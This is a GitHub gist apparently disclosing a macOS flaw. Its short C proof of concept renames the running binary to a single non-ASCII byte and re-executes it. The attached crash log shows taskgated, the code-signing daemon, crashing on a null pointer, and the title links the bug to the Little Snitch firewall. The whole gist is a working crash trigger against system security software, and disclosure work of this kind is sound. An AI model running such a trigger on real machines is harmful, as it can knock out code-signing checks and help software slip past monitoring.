Created
October 10, 2012 04:10
-
-
Save jedisct1/3863099 to your computer and use it in GitHub Desktop.
Little Snitch, little vulnerability?
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
int main(int argc, char *argv[]) | |
{ | |
const char *name = "\x80"; // any char >= 0x80 will work | |
rename(argv[0], name); | |
execl(name, name, NULL); | |
return 0; | |
} | |
/* | |
Oct 9 21:18:17 Insights-2.local ReportCrash[1560]: failed looking up LS service ( scCreateSystemService returned MACH_PORT_NULL, called from SetupCoreApplicationServicesCommunicationPort, so using client-side NULL calls. | |
Oct 9 21:18:17 Insights-2.local ReportCrash[1560]: LaunchServices/5123589: Unable to lookup coreservices session port for session 0x186a0 uid=0 euid=0 | |
Oct 9 21:18:17 Insights-2 com.apple.launchd[1] (com.apple.taskgated[1476]): Job appears to have crashed: Segmentation fault: 11 | |
Process: taskgated [1257] | |
Path: /usr/libexec/taskgated | |
Identifier: taskgated | |
Version: 55127.3 | |
Code Type: X86-64 (Native) | |
Parent Process: launchd [1] | |
User ID: 0 | |
Date/Time: 2012-10-09 21:10:08.282 -0700 | |
OS Version: Mac OS X 10.8.2 (12C60) | |
Report Version: 10 | |
Crashed Thread: 0 Dispatch queue: com.apple.main-thread | |
Exception Type: EXC_BAD_ACCESS (SIGSEGV) | |
Exception Codes: KERN_INVALID_ADDRESS at 0x0000000000000000 | |
VM Regions Near 0: | |
--> | |
__TEXT 0000000100ab1000-0000000100ac1000 [ 64K] r-x/rwx SM=COW /usr/libexec/taskgated | |
Thread 0 Crashed:: Dispatch queue: com.apple.main-thread | |
0 com.apple.CoreFoundation 0x00007fff8ddf550a CFStringGetLength + 10 | |
1 com.apple.CoreFoundation 0x00007fff8de052e6 CFURLCreateWithFileSystemPath + 54 | |
2 com.apple.security 0x00007fff8a84a4ca Security::makeCFURL(char const*, bool, __CFURL const*) + 150 | |
3 com.apple.security 0x00007fff8a777f8f Security::CodeSigning::DiskRep::bestGuess(char const*, unsigned long) + 35 | |
4 com.apple.security 0x00007fff8a76f7f1 Security::CodeSigning::KernelCode::identifyGuest(Security::CodeSigning::SecCode*, __CFData const**) + 173 | |
5 com.apple.security 0x00007fff8a77b855 Security::CodeSigning::SecCode::identify() + 59 | |
6 com.apple.security 0x00007fff8a77b766 Security::CodeSigning::SecCode::staticCode() + 24 | |
7 com.apple.security 0x00007fff8a77bb1d Security::CodeSigning::SecCode::autoLocateGuest(__CFDictionary const*, unsigned int) + 229 | |
8 com.apple.security 0x00007fff8a76ebbb SecCodeCopyGuestWithAttributes + 293 | |
9 taskgated 0x0000000100ab36f4 0x100ab1000 + 9972 | |
10 taskgated 0x0000000100ab485a 0x100ab1000 + 14426 | |
11 taskgated 0x0000000100ab574c 0x100ab1000 + 18252 | |
12 taskgated 0x0000000100ab57ce 0x100ab1000 + 18382 | |
13 taskgated 0x0000000100ab7be5 0x100ab1000 + 27621 | |
14 taskgated 0x0000000100ab78a2 0x100ab1000 + 26786 | |
15 taskgated 0x0000000100ab2be3 0x100ab1000 + 7139 | |
16 libdyld.dylib 0x00007fff8c3be7e1 start + 1 | |
Thread 1: | |
0 libsystem_kernel.dylib 0x00007fff89fed692 mach_msg_overwrite_trap + 10 | |
1 libsystem_kernel.dylib 0x00007fff89fecd70 mach_msg_overwrite + 85 | |
2 taskgated 0x0000000100ab7b33 0x100ab1000 + 27443 | |
3 taskgated 0x0000000100ab8019 0x100ab1000 + 28697 | |
4 taskgated 0x0000000100ab8ccd 0x100ab1000 + 31949 | |
5 libsystem_c.dylib 0x00007fff8ba39742 _pthread_start + 327 | |
6 libsystem_c.dylib 0x00007fff8ba26181 thread_start + 13 | |
Thread 2:: Dispatch queue: com.apple.libdispatch-manager | |
0 libsystem_kernel.dylib 0x00007fff89fefd16 kevent + 10 | |
1 libdispatch.dylib 0x00007fff85ad5dea _dispatch_mgr_invoke + 883 | |
2 libdispatch.dylib 0x00007fff85ad59ee _dispatch_mgr_thread + 54 | |
Thread 0 crashed with X86 Thread State (64-bit): | |
rax: 0xee76aed68bdca486 rbx: 0x0000000000000000 rcx: 0x0000000000000000 rdx: 0x0000000000000000 | |
rdi: 0x0000000000000000 rsi: 0x0000000000000000 rbp: 0x00007fff5f14cbb0 rsp: 0x00007fff5f14cbb0 | |
r8: 0x0000000000000001 r9: 0x00007fff5f14cb78 r10: 0x0000000000000008 r11: 0x00007fa2a41015c0 | |
r12: 0x0000000000000000 r13: 0x0000000000000000 r14: 0x0000000000000000 r15: 0x0000000000000000 | |
rip: 0x00007fff8ddf550a rfl: 0x0000000000010246 cr2: 0x0000000000000000 | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment